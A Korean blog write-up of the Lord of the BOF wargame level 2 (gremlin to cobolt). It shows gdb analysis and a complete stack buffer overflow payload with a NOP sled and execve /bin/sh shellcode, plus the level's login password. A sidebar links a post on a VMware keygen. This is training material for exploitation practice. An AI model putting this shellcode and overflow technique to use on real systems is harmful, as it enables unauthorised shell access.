일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- lob 7번
- pythonexe
- pythoncli
- argv
- 써니나타스
- 데이터형
- 서니나타스
- 결측치
- anxi0
- 써니나타스 1번
- R언어
- wolfman to darkelf
- lob
- lob 9번
- 마크업 언어
- kostat
- 쉘코드
- pyinstaller
- argc
- orge to troll
- troll to
- 범용레지스터 #레지스터 #어셈블리 #ASM #리버싱 #어셈블리어 #EAX #ESP
- mode함수
- 포너블
- kosis
- 빅데이터
- lob 10번
- IS함수
- 자료개방포털
- ultra argv hunter
- Today
- Total
ANX1-Z3R0의 불안극복(不安克服)
002. lob 2번 | anxi0 본문
cobolt를 한번 뚫어보자구
login: gremlin
Password: hello bof world
문제 분석 ㄱㄱ
버퍼가 작은 문제이다.
큰일 났다.
쉘코드를 어디넣어서 실행시키지?
일단 gdb분석을 해보자. 어떻게든 방법이 나오겠지
전과 같이 test폴더를 만들어서 원래 파일을 복사해주고 gdb로 분석 시작
>>gdb -q ./cobolt
(gdb) set disassembly-flavor intel
(gdb) disas main
똑같이 strcpy가 문제이므로 strcpy 이후에 브레이크 포인트를 걸어서 공격을 수행한다.
(gdb) b *main+53
아무 값이나 크게 넣어보자
(gdb) r `python -c 'print "A"*100'`
했더니... 웬걸 buffer+sfp+ret(24byte)이후에도 값이 들어간다!
그럼 ret뒤에 쉘코드를 넣고 ret주소를 ret 뒤로 넣어주면 되겠군!
페이로드(공격법)
buf+sfp(쓰레기 값,20byte)+ret(ret 뒤 nop sled 중 아무 주소,4byte,0xbffffad0쯤) + nop sled(아무 byte) +쉘코드(이전에 사용했던 24byte shellcode)
`python -c 'print "A"*20 + "\xd0\xfa\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
본 파일에다 공격해보자.
>> cd ..
>> bash2
>> ./cobolt `python -c 'print "A"*20 + "\xd0\xfa\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
done.
'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글
004. lob 4번 | anxi0 (0) | 2020.07.28 |
---|---|
003. lob 3번 | anxi0 (0) | 2020.07.28 |
001. lob 1번 | anxi0 (0) | 2020.07.28 |
.iso 파일 VMware에 적용시키기 (0) | 2020.07.11 |
VMware 15.5 pro keygen 설치 방법 (0) | 2020.07.11 |